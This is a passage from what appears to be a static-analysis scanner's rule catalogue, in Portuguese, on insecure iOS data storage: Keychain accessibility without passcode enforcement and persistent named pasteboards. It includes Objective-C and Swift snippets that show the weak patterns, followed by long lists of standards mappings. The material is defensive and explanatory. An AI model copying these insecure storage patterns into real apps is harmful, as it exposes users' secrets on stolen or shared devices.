-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Se os itens de conjunto de chaves forem armazenados com uma política razoavelmente segura, como kSecAttrAccessibleWhenUnlocked, se o dispositivo for roubado e uma senha for definida, o roubo precisará desbloquear o dispositivo para que os itens de conjunto de chaves sejam descriptografados. A falha ao digitar a senha correta bloqueará a descriptografia dos itens de conjunto de chaves do roubo. No entanto, se a senha não estiver definida, o invasor só precisará deslizar o dedo para desbloquear o dispositivo e obter o conjunto de chaves para descriptografar os itens. Portanto, a falha ao aplicar uma senha no dispositivo pode enfraquecer o mecanismo de criptografia do conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves está protegido o tempo todo, exceto quando o dispositivo está ligado e desbloqueado, mas também está disponível quando uma senha não está definida no dispositivo:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 311, CWE ID 312, CWE ID 313, CWE ID 522
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001350, CCI-002475
[15] Standards Mapping - FIPS200 MP
[16] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[25] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3)
[26] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[27] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[28] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[29] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.objc.insecure_storage_passcode_policy_unenforced
Abstract
O método identificado armazena dados no conjunto de chaves sem impor que o usuário defina uma senha para o dispositivo.
Explanation
Os níveis de acessibilidade de conjunto de chaves definem quando os itens do conjunto de chaves são descriptografados e disponibilizados para aplicativos. Os níveis possíveis de acessibilidade incluem:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Se os itens de conjunto de chaves forem armazenados com uma política razoavelmente segura, como kSecAttrAccessibleWhenUnlocked, se o dispositivo for roubado e uma senha for definida, o roubo precisará desbloquear o dispositivo para que os itens de conjunto de chaves sejam descriptografados. A falha ao digitar a senha correta bloqueará a descriptografia dos itens de conjunto de chaves do roubo. No entanto, se a senha não estiver definida, o invasor só precisará deslizar o dedo para desbloquear o dispositivo e obter o conjunto de chaves para descriptografar os itens. Portanto, a falha ao aplicar uma senha no dispositivo pode enfraquecer o mecanismo de criptografia do conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves está protegido o tempo todo, exceto quando o dispositivo está ligado e desbloqueado, mas também está disponível quando uma senha não está definida no dispositivo:


...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleWhenUnlockedThisDeviceOnly

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 311, CWE ID 312, CWE ID 313, CWE ID 522
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001350, CCI-002475
[15] Standards Mapping - FIPS200 MP
[16] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[25] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3)
[26] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[27] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[28] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[29] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001350 CAT II, APSC-DV-002340 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.swift.insecure_storage_passcode_policy_unenforced
Abstract
Uma área de transferência nomeada configurada como persistente pode levar à exposição de informações confidenciais.
Explanation
Áreas de trabalho nomeadas permitem que os desenvolvedores compartilhem dados com outras partes de um aplicativo ou com outros aplicativos que tenham o mesmo ID de equipe. A configuração de áreas de trabalho nomeadas como persistentes é um recurso obsoleto que pode levar à exposição de dados confidenciais. Quando uma área de transferência é marcada como persistente, os dados armazenados na área de transferência podem ser salvos sem criptografia no armazenamento local e persistem nas reinicializações do aplicativo e do dispositivo.
Exemplo 1: No exemplo a seguir, uma área de transferência nomeada é criada e configurada como persistente invocando setPersistent:YES.

...
UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
[pasteboard setPersistent:YES];
...
References
[1] setPersistent: | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[15] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[16] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[58] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.objc.insecure_storage_persistent_named_pasteboard
Abstract
Uma área de transferência nomeada configurada como persistente pode levar à exposição de informações confidenciais.
Explanation
Áreas de trabalho nomeadas permitem que os desenvolvedores compartilhem dados com outras partes de um aplicativo ou com outros aplicativos que tenham o mesmo ID de equipe. A configuração de áreas de trabalho nomeadas como persistentes é um recurso obsoleto que pode levar à exposição de dados confidenciais. Quando uma área de transferência é marcada como persistente, os dados armazenados na área de transferência podem ser salvos sem criptografia no armazenamento local e persistem nas reinicializações do aplicativo e do dispositivo.
Exemplo 1: No exemplo a seguir, uma área de transferência nomeada é criada e configurada como persistente invocando setPersistent(true).

...
let pasteboard = UIPasteboard(name: UIPasteboard.Name(rawValue: "myPasteboard"), create: true)!
pasteboard.setPersistent(true)
...
References
[1] setPersistent(_:) | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[15] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[16] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
